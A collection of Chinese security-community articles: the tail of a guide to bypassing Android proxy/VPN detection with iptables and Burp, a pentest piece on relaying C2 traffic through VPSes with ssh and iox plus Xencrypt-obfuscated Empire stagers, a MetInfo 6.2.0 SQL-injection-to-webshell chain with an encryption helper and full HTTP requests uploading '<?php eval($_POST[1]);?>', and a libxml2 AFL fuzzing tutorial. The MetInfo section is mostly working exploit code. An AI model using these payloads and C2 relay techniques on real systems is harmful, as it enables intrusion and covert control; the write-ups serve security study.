在点击监听中放置isDeviceInVPN()功能，点击即触发，如果检测到了使用了VPN则直接退出。
@Override
public void onClick(View view){
if (view.getId() == R.id.send_request){
isDeviceInVPN();
sendRequestWithHttpURLConnection();
}
}
### 5.1、使用ProxyDroid代理
当前场景：APP同时开启了代理检测以及VPN检测
这时使用 **iptables** 进行数据转发的软件 **ProxyDroid** 进行测试，配置如下图所示：
开启之后，系统状态栏不会出现钥匙的形状，这时再次进行抓包测试。
burp成功获取到了请求，至此代理与VPN的应对方法均已实现。所以， **iptables** 竟然能从OSI的 2、3层下面走吗，下面我们继续分析。
## 6.iptables原理
我们都知道安卓使用的是linux内核，而linux内核提供的防火墙工具是 **Netfilter/Iptables** 。
**Netfilter** 是由linux内核集成的IP数据包过滤系统，其工作在内核内部，而 **Iptables** 则是让用户定义规则集的表结构。
也就是， **iptables** 是一个命令行工具，位于用户空间，它真正操作的框架实现在 **内核** 当中。
> Netfilter是一个数据包处理模块，它具有`网络地址转换`、`数据包内容修改`、`数据包过滤`等功能。
> 要使netfilter能够工作，就需要将所有的规则读入内存中。netfilter自己维护一个内存块，在此内存块中有4个表：filter表、NAT表、mangle表和raw表。在每个表中有相应的链，链中存放的是一条条的规则，规则就是过滤防火的语句或者其他功能的语句。也就是说表是链的容器，链是规则的容器。实际上，每个链都只是一个hook函数（钩子函数）而已。
**Iptables**
主要工作在OSI七层的2.3.4层，好像也没比VPN的工作协议低，反而还有高的，但是测试结果证明，是我想错了，iptables不是由于协议低，而是没有出现
**tun0** 或者 **ppp0** 这两个关键的网卡特征，所以成功绕过了VPN的检测。
基于iptables这个流量转发，我还发现了一个新的名词，叫做“`透明代理`”，iptables的转发模式就是这种。
由此，延伸了一个新的代理模式，通过burp进行“透明代理”，网上的教程错综复杂，亲测使用过程如下。
## 7.透明代理
* 原理：透明代理技术可以让客户端`感觉不到代理的存在`，用户不需要在浏览器中设置任何代理，只需设置缺省网关即可。在访问外部网络时，客户端的数据包被发送到缺省网关，通过缺省网关的路由，最终到达代理服务器，最后代理服务器运行代理进程，数据实际被重定向到代理服务器的代理端口，即由本地代理服务器向外请求所需数据然后拷贝给客户端。
接下来我将尝试：结合安卓端的透明代理技术与burp存在的invisible模式
### 7.1、使用Burp透明代理
#### （1）安卓端设置
首先在设备上手动进行设置：将所以请求80、443端口的tcp流量进行nat转发到192.168.50.177（burp的监听地址）的对应端口上
adb shell
su
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to 192.168.50.177:80
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to 192.168.50.177:443
查看当前规则是否成功添加
iptables -t nat -L
#### （2）代理服务器端设置
添加80和443的端口监听
在【Binding】中设置端口，选中 【All interfaces】
并对【Request handing】做出如下设置
> **Redirect to port** \- 如果配置了这个选项，Burp会在每次请求转发到指定的端口，而不必受限于浏览器所请求的目标。
>
> **Force use of SSL** \-> 如果配置了这个选项，Burp会使用HTTPS在所有向外的连接，即使传入的请求中使用普通的HTTP。您可以使用此选项，在与SSL相关的响应修改选项结合，开展sslstrip般的攻击使用Burp，其中，强制执行HTTPS的应用程序可以降级为普通的HTTP的受害用户的流量在不知不觉中通过BurpProxy代理。
设置之后，Proxy状态如下
此时burp就可对转发到这里的80和443端口的流量进行 **透明代理**
> 注意：如果出现443端口被占用，查找进程kill掉即可。
>
>
>
>
>
>
>
> 以管理员身份运行 cmd 执行如下代码
>
>
>
经过测试，burp成功抓取到了请求包。
**这里不禁思考，如果是基于iptables进行的数据转发，那么刚才的ProxyDroid是否也内置了一些路由规则呢？**
查看一下开启ProxyDroid时iptables当下的规则
从图中可以看到共有六条策略，其中最后两条就是我们刚才手动添加的，但并没有看到burp监听的8888端口，8123、8124一定是软件内置的代理转发端口，想要知道具体原理还需要详细分析ProxyDroid的源码。
**血泪避坑**
：网上出现了很多教程，最关键的iptables规则写法不一，导致多次测试结果并不成功，如果将安卓终端的80和443端口同时转发到burp上监听的唯一一个端口则会出现连接错误。根据burp官方文档说明为每个端口号设置监听器会更加稳定，也就是要设置两个代理监听。
## 8.总结
根据不同的代码检测，也会有不同的应对方法，所以，遇到APP出现抓包闪退等问题，先逆向，查看源码，在通信处仔细进行分析，再针对检测代码进行绕过，才是正解。本文提到的并不是固定的处理方法，如果文章有叙述不当，尽请矫正。
## 9.参考链接
[burp
invisible官方文档](https://portswigger.net/burp/documentation/desktop/tools/proxy/options/invisible)
[代理与VPN](https://mp.weixin.qq.com/s/u4WwEGFADvRIYFudrMDsRQ)
[iptables的内核原理](https://cloud.tencent.com/developer/article/1619659) | 社区文章 |
# 内网渗透：流量转发场景测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
流量转发，可以说时内网渗透的基础，网上的文章也挺多的，但是我最近看见别人的粗糙的方式，比如把CS直接传到服务器上这样的操作，我觉得是应该总结一下各种流量转发的场景了，方便渗透中使用。
## 0x01 本文用到的工具
- Empire https://github.com/EmpireProject/Empire (C2)
- Xencrypt.ps1 https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1 (powershell encrypt)
- IOX https://github.com/EddieIvan01/iox
- Neo-regeorg https://github.com/L-codes/Neo-reGeorg
- Plink C:Program Files (x86)GitExtensionsPuTTYplink.exe
## 0x02 复杂度0
1.例如反弹shell需要反弹到自己VPS上，那这里我们需要把CS或者empire等C2工具传到VPS上吗？
不需要，按照隐藏自己的原则，VPS上基本不能有渗透的任何文件，以免留下痕迹，命令其实也很简单，在win10以及linux上都有ssh命令了，所以：
ssh -CNfT -R 4444:192.168.137.129:443 root@vpsip
注：vpsip 需要配置远程端口转发支持，修改`/ect/ssh/sshd_config`添加:
AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes
### 实际演示
被控端：192.168.137.164 （nat）
kali: 192.168.0.105 (bridge)
这两台机器本身互不相同，但是都能出网，所以使用VPS来中转。
这里使用Empire作为C2，使用https监听,这里的HOST要设置为VPSIP和端口
接着ssh端口转发：
生成一个stager，这里生成的时候IP就是VPSIP，端口就是4444，这样会直接将流量转到虚拟机的Empire的443端口来。生成powershell
的stager，先解码出来再用xencrypt加密运行。
`Invoke-Xencrypt -InFile xx.ps1 -OutFile banana.ps1 -Iterations 3`
这样只要受控端可以直接出网的情况的话，就可以这样利用。而且vps到内网机器的流量都是加密的。empire其实自带一个http_hop
listener，把生成的文件传到A VPS上面，再使用http_hop再生成stager来请求A VPS，流量就会被转移到真实的B
VPS上。具体可以参考：<https://www.hackingarticles.in/hiding-ip-during-pentest-using-powershell-empire-http_hop/>
## 0x03 复杂度1
其实为了自己更安全，C2最好放在自己虚拟机自定义的一个不能出网的网段，然后远程端口转发到自己C2监听的端口。命令与其实上面一样：`plink -CNfT
-R 4444:192.168.13.29:443 root[@vpsip](https://github.com/vpsip
"@vpsip")`只不过要在windows的物理机上执行，因为只有windows物理机能够出网而且又能访问到特定网段。这里就不具体说明了，因为我们主要关注被控端能够访问到我们的VPS端口，所以自己要跳几条VPS，系统环境等随便怎么设置都可以。
场景：拿到webshell，发现是内网一台windows不能出网。这就需要找到一台能够出网的了。
先使用regeorg进行正向代理，寻找到出网机器。这里依然可以使用ssh远程转发，在跳板机上面执行。但是我们这使用IOX来演示，适合自己VPS是windows或者突然忘了自己vps密码的人:)
### 实际演示
测试环境：
debian:192.168.217.92/192.168.137.139 双网卡
win10:192.168.217.128
vps:就用上面的4444端口
1.把iox linux 64bit传到debian这个跳板机上执行：
./iox fwd -l 4444 -r vpsip:4444
2.重新生成stager，上传到win10上，因为win10只能访问到192.168.217.139，所以配置host参数为[http://192.168.217.92:4444，](http://192.168.217.92:4444%EF%BC%8C)
这里我们在1中已经监听了4444端口流量并且转发到了VPS上。
这里的listener必须配置为http，我自己测试发现https的上线不了，https直接网页会报SSL错，但是还是能够访问的，说明流量转发正确。猜测可能是IOX转发https流量不行。
演示图中使用的是http的listener:
整个流程：
内网不能出网的windows10，通过debian把流量转发到vps端口，vps再转到自己的虚拟机的C2中。
配置stager时可以配置http代理，
再渗透中，很多都是通过代理出网的，找到代理服务器IP和端口，设置http/https代理，生成stager的时候host就设置为vps
就可以了，不用设置为内网的机器。
## 复杂度1.1
### 实际演示
环境1：
有VPN账号，但是在里面就是找不到代理或者可控的出网机器。
1.在自己VPN拨号的虚拟机中，执行`ssh -CNfT -L 4444:vpsip:4444
root[@vpsip](https://github.com/vpsip "@vpsip")`或者`./iox fwd -l 4444 -r
vpsip:4444`,将发往自己4444端口流量转发到192.168.137.129:443 C2控制端。
2.在被控端windows上的webshell执行payload，指定host为我们VPN拨号后分配的地址。
环境2：
无VPN账号，有regeorg 的正向代理和webshell权限。
那就正向代理:)
环境3：
内网机器可以出网，但是没有公网IP，不使用regeorg 的正向代理。
./iox proxy -r vps:9999 (webshell上执行 socks反弹)
./iox proxy -l 9999 -l 1080 (vps上执行)
这样只有把代理设置为vps:1080，就是内网正向的socks代理了。
./iox fwd -l 1088 -r vpsip:1080
如果运行上面这条命令在自己虚拟机上，这样本地设置127.0.0.1:1088这个代理一样可以代理访问到内网。
带加密的话IOX也非常简单,这里使用虚拟机来演示下：
./iox proxy -r *vps:9999 -k 788123 (webshell上执行)
./iox proxy -l *9999 -l *1080 -k 788123(vps上执行)
./iox fwd -l 1088 -r *vpsip:1080 -k 788123(自己的机器)
可以看见kali是不能访问到那边的，但是我通过这样正向socks代理就可以了。
## 总结
本来开始准备用SILENTTRINITY作为C2的，生成c#
stager,然后使用detout来编码生成shellcode。detout生成的shellcode有patch amsi和script
logging,dev的分支也加上了bypass etw
monitor.但是ST这个框架还是不稳定，而且功能欠缺多，但是这种技术思路很好。detout+C#的马还是很好用的。
本来内网渗透中，环境会更复杂，我这里完全是抛砖引玉，一个基本思路，清楚的知道自己的流量走向，不管怎么复杂都一样。文中提到的技术，都跟自己VPS和自己的网络情况有很大关系，网速不好，体验就不好。这些工具都带有加密的功能，这样会在流量审计上更好过一点，不会上传C2到别人服务器上面，在其中某个点加个tor网络就更能隐藏自己了:） | 社区文章 |
# metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。
## svn泄露
svn是一个开放源代码的版本控制系统，如果在网站中存在`.svn`目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本
>1.7 时，Seay的工具不能dump源码了。可以用[@admintony](https://github.com/admintony
"@admintony")师傅的脚本来利用 <https://github.com/admintony/svnExploit/>
在目标站中发现了`http://php.local/.svn/`目录泄露源代码，发现是metinfo
cms，拿到了位于`config/config_safe.php`中的key，这个key起到了很大作用。
什么是key呢？为什么要有这个key呢？
在metinfo安装完成后，会在`config/config_safe.php`写入一个key，这个key是用来加密解密账户信息的，你可以在`app/system/include/class/auth.class.php`看到加解密算法。
可以看到加解密采用了`$this->auth_key.$key`作为盐值，`$key`默认为空，那么这个`$this->auth_key`在哪定义的呢？
config/config.inc.php:109
有了这个key，我们可以自己针对性去加密解密程序密文。
有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql注入，
**而加了密之后的参数一半不会再进行过滤了** ，我们可以找下可控的加密参数。
## 正则匹配导致的注入
全局搜索`$auth->decode`寻找可控的参数，并且不走过滤的。
app/system/user/web/getpassword.class.php:93
public function dovalid() {
global $_M;
$auth = load::sys_class('auth', 'new');
$email = $auth->decode($_M['form']['p']);
if(!is_email($email))$email = '';
if($email){
if($_M['form']['password']){
$user = $this->userclass->get_user_by_email($email);
if($user){
if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
}else{
okinfo($_M['url']['login'], $_M['word']['opfail']);
}
}else{
okinfo($_M['url']['login'], $_M['word']['NoidJS']);
}
}
require_once $this->view('app/getpassword_mailset',$this->input);
}else{
okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
}
}
可以看到`$email`直接从`$_M['form']['p']`中经过`$auth->decode` **解密**
获取，并没有进行过滤，然后在`get_user_by_email($email)`中代入数据库查询。但是经过了`is_email($email)`判断是否为正确的邮箱地址。
跟进app/system/include/function/str.func.php:26
function is_email($email){
$flag = true;
$patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
if(preg_match($patten, $email) == 0){
$flag = false;
}
return $flag;
}
很正常的正则表达式， **但是唯一缺少的是`^`起始符！**那么我们构造如`' and 1=1--[[email protected]](mailto:[email protected])`也会返回true！
email要经过`$auth->decode`解密，这个时候我们的key就派上用场了，我们可以使用`$auth->encode()`来加密我们的payload传进去，构成注入。
将auth类自己搞一份出来。
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
需要注意这个`[[email protected]](mailto:[email protected])`是你自己注册的用户，如果`met_user`表中不存在一条记录，是延时不了的。
延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？
## 组合拳
app/system/include/class/web.class.php:467 省略部分代码
public function __destruct(){
global $_M;
//读取缓冲区数据
$output = str_replace(array('<!--<!---->','<!---->','<!--fck-->','<!--fck','fck-->','',"r",substr($admin_url,0,-1)),'',ob_get_contents());
ob_end_clean();//清空缓冲区
...
if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
//静态页
$filename = urldecode($_M['form']['html_filename']);
if(stristr(PHP_OS,"WIN")) {
$filename = @iconv("utf-8", "GBK", $filename);
}
if(stristr($filename, '.php')){
jsoncallback(array('suc'=>0));
}
if(file_put_contents(PATH_WEB.$filename, $output)){
jsoncallback(array('suc'=>1));
}else{
jsoncallback(array('suc'=>0));
}
}else{
echo $output;//输出内容
}
...
}
在前台基类web.class.php中有`__destruct`魔术方法，而在这个方法中使用`file_put_contents(PATH_WEB.$filename,
$output`写入文件，其中`$output`是通过`ob_get_contents()`获取的缓冲区数据，而`$filename`是从`$_M['form']['html_filename']`拿出来的，我们可控。
但是有一个if条件`$_M['form']['metinfonow'] ==
$_M['config']['met_member_force']`，这个`met_member_force`在哪呢？在数据库里，我们可以通过刚才的注入拿到！
那么我们现在的目的就变为怎么去控制`$output`也就是缓冲区的值。
>
> ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。
全局搜索`extends
web`寻找子类，在子类中寻找可控echo输出，最终找到的是`app/system/include/module/uploadify.class.php`的doupfile()方法
public function set_upload($info){
global $_M;
$this->upfile->set('savepath', $info['savepath']);
$this->upfile->set('format', $info['format']);
$this->upfile->set('maxsize', $info['maxsize']);
$this->upfile->set('is_rename', $info['is_rename']);
$this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
global $_M;
$back = $this->upfile->upload($formname);
return $back;
}
...
public function doupfile(){
global $_M;
$this->upfile->set_upfile();
$info['savepath'] = $_M['form']['savepath'];
$info['format'] = $_M['form']['format'];
$info['maxsize'] = $_M['form']['maxsize'];
$info['is_rename'] = $_M['form']['is_rename'];
$info['is_overwrite'] = $_M['form']['is_overwrite'];
$this->set_upload($info);
$back = $this->upload($_M['form']['formname']);
if($_M['form']['type']==1){
if($back['error']){
$back['error'] = $back['errorcode'];
}else{
$backs['path'] = $back['path'];
$backs['append'] = 'false';
$back = $backs;
}
}
$back['filesize'] = round(filesize($back['path'])/1024,2);
echo jsonencode($back);
}
...
echo的$back变量是从`$_M['form']['formname']`取出来的，可控，向上推看back变量的取值由`$this->upfile->upload($formname)`决定，跟进。
public function upload($form = '') {
global $_M;
if($form){
foreach($_FILES as $key => $val){
if($form == $key){
$filear = $_FILES[$key];
}
}
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}
//是否能正常上传
if(!is_array($filear))$filear['error'] = 4;
if($filear['error'] != 0 ){
$errors = array(
0 => $_M['word']['upfileOver4'],
1 => $_M['word']['upfileOver'],
2 => $_M['word']['upfileOver1'],
3 => $_M['word']['upfileOver2'],
4 => $_M['word']['upfileOver3'],
6 => $_M['word']['upfileOver5'],
7 => $_M['word']['upfileOver5']
);
$error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
return $this->error($errors[$filear['error']]);
}
...
//文件大小是否正确{}
if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
}
//文件后缀是否为合法后缀
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
...
}
省略部分代码
我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。
首先是正常foreach取出上传文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。
## 超出文件大小getshell
在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会`return
$this->error("{$_M['word']['upfileFile']}".$filear["name"]."
{$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");`
而这个`$filear["name"]`是我们可控的，在foreach中赋值的。
那么这样我们就可以把`$filear["name"]`改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。
但是这个8m太大了， **我们可以通过注入进后台把这个限制改为0.0008**
构造下payload， **需要注意`metinfonow`参数是上文中从数据库中取出的`met_member_force`**
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php eval($_POST[1]);?>"
Content-Type: image/jpeg
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
## 无后缀getshell
[@mochazz](https://github.com/mochazz
"@mochazz")师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。
问题出在 app/system/include/class/upfile.class.php:139 getext()函数
如果不是合法后缀会`return $this->error($this->ext."
{$_M['word']['upfileTip3']}")`，而`$this->ext`经过`getext()`函数，跟进
protected function getext($filename) {
if ($filename == "") {
return ;
}
$ext = explode(".", $filename);
$ext = $ext[count($ext) - 1];
return $this->ext = $ext;
}
直接`return $ext`，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell
y
payload
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg
test
------WebKitFormBoundary8tQiXReYsQYXHadW--
而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell
protected function getext($filename) {
if ($filename == "") {
return ;
}
$ext = explode(".", $filename);
$ext = $ext[count($ext) - 1];
if (preg_match("/^[0-9a-zA-Z]+$/u", $ext)) {
return $this->ext = $ext;
}
return $this->ext = '';
}
## 总结
1. svn泄露分版本
2. 注册是邮件的正则匹配问题
3. 参数加密一般不走全局过滤 找找注入
4. 关注echo和ob_get_contents()函数 说不定能写shell呢
参考链接
1. <https://nosec.org/home/detail/2436.html>
2. <https://xz.aliyun.com/t/4425>
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。** | 社区文章 |
# 前言
XML 指可扩展标记语言（e **X** tensible **M** arkup **L** anguage），被设计用来传输和存储数据。
最典型的xml文件是像这样的格式的
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
看起来就是很像html的东西，但他们还是不同的
* XML 被设计用来传输和存储数据，其焦点是数据的内容。
* HTML 被设计用来显示数据，其焦点是数据的外观。
更多详细有关xml可参考 <https://www.runoob.com/xml>
libxml2呢，就是用来处理的xml格式文件的一个c语言libc库和工具包
挖掘这种三方件，是比较适合用afl-fuzz的，因为他是属于处理格式化文件类的，有套固定的文件格式，比较适合用来fuzz
# 编译libxml2-2.9.2
我这里按照 [afl-training](https://github.com/mykter/afl-training)中的来操作，afl-training是一个很不错的afl-fuzz入门使用的github项目，从教你fuzz简单的c程序，到fuzz
libc函数，再到fuzz一些三方件，算是比较具体细致的实战指引
挖掘2.9.2版本，存在一些历史cve，康康能不能挖掘出来
需要先安装一波东西
sudo apt install autoconf
sudo apt install libtool-bin
cd libxml2根目录，执行以下
`./autogen.sh --prefix=/home/zeref/AFl-fuzz_project/afl-training/challenges/libxml2/build/ --with-python-install-dir=/home/zeref/AFl-fuzz_project/afl-training/challenges/libxml2/build/ CC=afl-clang-fast`
这里的`--prefix`指定安装目录，包括libc和include头文件那些
这里的`--with-python-install-dir`指定安装python的目录
> ps：
>
> 这里的afl-clang-> fast在默认安装的afl中是没有的，需要你机器上安装了clang，然后切换到afl的llvm_mode目录再进行`make`，然后再切回afl根目录进行`make
> install`，详细可见 <https://xz.aliyun.com/t/1541>
>
> 使用afl-clang-fast的好处是可以减小更多性能开支，使用`__AFL_LOOP(1000)`这样的东西减少不断fork 目标程序的次数
继续，通过configure 生成了一波Makefile，接着仍然在libxml2根目录
执行`AFL_USE_ASAN=1 make -j 4`
> -j 4，是开四个进程进行处理
>
> 这里的AFL_USE_ASAN=1
> ，是指开启ASAN辅助，这个玩意是基于clang的一个内存错误检测器，可以检测到常见的内存漏洞，如栈溢出，堆溢出，double free，uaf等等
>
> 由于afl呢是基于崩溃报错来反馈漏洞的，但很多时候，少量的字节 堆溢出是不会引起崩溃报错的，这样就需要额外开启ASAN来辅助挖掘漏洞
最后`sudo make -j 4 install`，安装过程中可能会报一些小错误，但不用管它，我们只需要用到安装好的libc库和include文件头
按照afl-training中的写成如下harness.c，主要测试几个简单的函数
#include "libxml/parser.h"
#include "libxml/tree.h"
int main(int argc, char **argv) {
if (argc != 2){
return(1);
}
xmlInitParser();
while (__AFL_LOOP(1000)) {
xmlDocPtr doc = xmlReadFile(argv[1], NULL, 0);
if (doc != NULL) {
xmlFreeDoc(doc);
}
}
xmlCleanupParser();
return(0);
}
`AFL_USE_ASAN=1 afl-clang-fast ./harness.c -I ./build/include/libxml2/ -L
./build/lib -lxml2 -lz -lm -g -o harness`
如果是写测试libxml2的程序，可以使用上述动态链接的方式，如果写直接用于afl-fuzz的程序，我们就需要使用静态链接的方式把libxml2加载进程序中，这是为了asan或afl编译插桩的时候能直接在libxml2源码中进行操作
`AFL_USE_ASAN=1 afl-clang-fast ./harness.c -I ./build/include/libxml2/
./build/lib/libxml2.a -lz -lm -g -o harness`
-I（大写i）指定include头文件的目录，然后接上libxml2的静态链接库，（小写L）-lm 使用math库，-lz 使用zlib库
然后启动afl
`afl-fuzz -m none -i in -o out -x ~/afl-2.52b/dictionaries/xml.dict ./harness
@@`
-m 表示给fuzz子进程的内存限制，这里为了更好体现asan效果，使用none不进行限制
-x 表示设置xml文件格式的字典，也就是设置一些xml里面的关键词token，便于fuzz找到更多的路径
可以看到，不出一个小时，就出现了crash
最后俺整整跑了一天，出现了8个uniq crash，然而本质上这八个都是一样的报错：
疑似产生了 一个字节的 堆空间溢出读操作，这8个crash都是由asan报错产生的
下面来分析一下这8个crash到底是怎么产生的
# crash分析
这里asan的报错信息提醒非常的到位，很容易就定位到漏洞所在的地方
打开source insight，查看源码
这里很容易就找到了这个所谓的
一个字节的堆溢出读，其实就是这个while循环结束时，最后一次判断*p的值的时候发生的，本来一开始我还不信是这个原因导致的crash，于是我把`MOVETO_ENDTAG(CUR_PTR);`这句给注释掉再重新编译一次，然后跑一遍一样的crash
输入样本，结果一点报错都没有。。。。。
这么看来，这压根就不算是漏洞orz，纯粹asan误报
更无语的是，这8个crash中，7个都是在同一个地方的产生的
最后，来康康第8个crash
同样是一个字节的堆空间溢出读操作，这个就勉勉强强算个漏洞了
不过值得注意的是，这里的asan报错信息是不完全正确的，根据gdb的调试结果
backtrace中#1说是`#1 0x83d93c in xmlDictQLookup
..../libxml2-2.9.2/dict.c:1093:12`
而实际1093行是不对的，1118行才是产生漏洞的地方，这可能是因为xmlDictQLookup函数调用了两次的xmlDictComputeQKey函数，导致误报为第一次调用xmlDictComputeQKey的地方
来看看源码
很明显这里的漏洞点是，下标越界的问题，没有对len - (plen + 1 + 1)进行足够的判断，产生了下标越界的漏洞
gdb调试一波，在即将call xmlDictComputeQKey的时候：
可以看到，这里plen=0x71，len=0xc，len - (plen + 1 + 1)= -0x67
这样就产生了下标越界了
这个漏洞正是[CVE-2015-7497](https://www.cvedetails.com/cve/CVE-2015-7497/)
在2.9.3的版本中就有如下patch修改
# 小结
到这里，基本上算是完成了afl-training的第一个challenge，可以发现，使用afl并不复杂，挖掘出历史cve也是可行的，但是上面的操作还可以进一步改善，例如harness中只fuzz了几个简单的函数，还可以继续增加新的函数加入测试，以探索出更多的路径；上述fuzz中只用到了xml的格式字典，还可以通过增加大量xml文件来提高输入样本的质量
# 改进
改进方法分三步：
1. 首先patch解决产生之前crash的源代码
2. 改进harness.c，提高程序覆盖率
3. 增加输入样本，并对样本进行精简
## patch已知bug
首先解决第一个误报问题，patch方法是在parse.c文件中进行如下修改
创建一个自定义函数MOVETO_ENDTAG_patch替换原来的宏定义功能
加上关键词 `__attribute__((no_sanitize_address))`表示添加asan白名单，该函数就会被asan忽略检查
然后是patch CVE-2015-7497，根据官方patch，修改dict.c即可
patch完毕后重新编译libxml2，编译完成后可测试之前产生crash的样本是否还会继续crash报错，如果无报错且程序运行正常，则说明patch成功
## 改进harness.c
前面的harness.c中，主要使用了以下函数
xmlInitParser();
xmlDocPtr doc = xmlReadFile(argv[1], NULL, 0);
xmlFreeDoc(doc);
xmlCleanupParser();
最主要的，还是xmlReadFile函数，因此我们需要增加测试的函数
#include <stdio.h>
#include <libxml/parser.h>
#include <libxml/tree.h>
static void print_element_names(xmlNode * a_node)
{
xmlNode *cur_node = NULL;
